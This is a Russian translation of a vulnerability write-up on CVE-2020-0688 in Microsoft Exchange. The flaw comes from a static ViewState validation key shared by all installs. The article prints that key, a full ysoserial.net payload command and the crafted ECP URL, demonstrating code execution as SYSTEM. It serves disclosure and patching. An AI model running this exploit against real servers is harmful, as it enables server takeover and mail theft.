Гостевая статья CVE-2020-0688: Удаленное выполнение кода на сервере microsoft exchange с помощью фиксированных криптографических ключей

В последнем патче, выпущенный во вторник, корпорация Майкрософт добавила

Ссылка скрыта от гостей

для устранения ошибки удаленного выполнения кода в Microsoft Exchange Server. Об этой уязвимости сообщил нам анонимный исследователь, и она затрагивает все поддерживаемые версии Microsoft Exchange Server вплоть до последнего патча. Вот краткое видео об ошибке в действии:

Первоначально Microsoft заявляла, что эта ошибка связана с уязвимостью повреждения памяти и может быть использована специально созданным письмом, отправленным на уязвимый сервер Exchange. С тех пор они пересмотрели свое описание, чтобы (правильно) указать, что уязвимость возникает из-за того, что Exchange Server не может правильно создать уникальные криптографические ключи во время установки.

В частности, ошибка обнаружена в компоненте панели управления Exchange (ECP). Природа ошибки довольно проста. Вместо случайного генерирования ключей для каждой установки все установки Microsoft Exchange Server имеют одинаковые значения validationKey и decryptionKey значения в web.config. Эти ключи используются для обеспечения безопасности ViewState. ViewState - это данные на стороне сервера, которые веб-приложения ASP.NET хранят в сериализованном формате на клиенте. Клиент предоставляет эти данные обратно на сервер через __VIEWSTATE параметр запроса.

Отрывок файла web.config, содержащего статический ключ validationKey.

Благодаря использованию статических ключей злоумышленник, прошедший проверку подлинности, может заставить сервер десериализовать вредоносные данные ViewState. С помощью YSoSerial.net злоумышленник может выполнить произвольный код .NET на сервере в контексте веб-приложения панели управления Exchange, которое запускается как SYSTEM.

Чтобы воспользоваться этой уязвимостью, необходимо собрать ViewStateUserKey и __VIEWSTATEGENERATOR значения из авторизованной сессии. Их ViewStateUserKey можно получить из _SessionID файла cookie ASP.NET , а ViewStateUserKey в скрытом поле. Все это можно легко получить с помощью стандартных инструментов разработчика в браузере.

Для начала перейдите на /ecp/default.aspx страницу и войдите в систему. У используемой учетной записи не должно быть никаких специальных привилегий. В этом примере мы используем учетную запись с именем user:

Чтобы продолжить, нам нужно собрать некоторую информацию. Самая ценная часть уже известна:

validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1

Чтобы получить ViewStateUserKey и __VIEWSTATEGENERATOR, откройте вкладку «Сеть» Dev Tools (F12) и повторно отправьте запрос, нажав F5. Нам нужен необработанный ответ на запрос /ecp/default.aspxпри входе в систему:

Как видите, __VIEWSTATEGENERATOR значение видно в исходной странице. В этом примере его значение равно B97B4E27. По всей вероятности, ваше значение будет одинаковым. Затем откройте Headers вкладку и найдите ASP.NET_SessionId cookie в Request headers:

В этом примере его значение равно 05ae4b41-51e1-4c3a-9241-6b87b169d663.

Теперь у нас есть вся информация, необходимая для проведения атаки:

--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
--validationalg = SHA1
--generator = B97B4E27
--viewstateuserkey = 05ae4b41-51e1-4c3a-9241-6b87b169d663

Следующим шагом является создание полезной нагрузки ViewState с использованием ysoserial.net. Мы создадим полезную нагрузку, которая демонстрирует выполнение кода, создав файл C:\Vuln_Server.txt:

   ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy

Наконец, нам нужно кодировать URL-адрес полезной нагрузки ViewState и создать URL-адрес следующим образом:

/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

заменяя генератор и URL-кодированный ViewState, полученный выше.

Затем мы отправляем полученный URL-адрес на сервер Exchange, просто вставив его в адресную строку браузера:

Сервер пожалуется 500 Unexpected Error, но атака успешна. Изучение влияния на целевой сервер:

Конечно же, файл Vuln_Server.txtтеперь существует. Изучение информации о владельце файла подтверждает, что он был создан процессом с маркером SYSTEM.

Это демонстрирует, что злоумышленник может выполнить произвольный код как SYSTEM и полностью скомпрометировать целевой сервер Exchange.

Вывод

Microsoft исправила эту уязвимость в феврале 2020 года как

Ссылка скрыта от гостей

, Согласно их описанию, они устранили эту уязвимость, «исправляя то, как Microsoft Exchange создает ключи во время установки». Другими словами, они теперь рандомизируют криптографические ключи во время установки. Microsoft оценила это как Важное по серьезности, вероятно потому, что злоумышленник должен сначала пройти проверку подлинности. Следует отметить, однако, что внутри предприятия большинству пользователей будет разрешено проходить аутентификацию на сервере Exchange. Точно так же любой внешний злоумышленник, который скомпрометировал устройство или учетные данные любого корпоративного пользователя, сможет перейти на сервер Exchange. После этого злоумышленник сможет разглашать или подделывать корпоративные почтовые сообщения по желанию. Соответственно, если вы являетесь администратором Exchange Server, Вы должны рассматривать это как исправление с критической оценкой и развертывать его, как только ваше тестирование будет завершено. Microsoft перечисляет это с индексом эксплойтов 1, что означает, что они ожидают увидеть эксплойты в течение 30 дней после выпуска патча. Как продемонстрировано, это, безусловно, кажется вероятным.


Источник:

Ссылка скрыта от гостей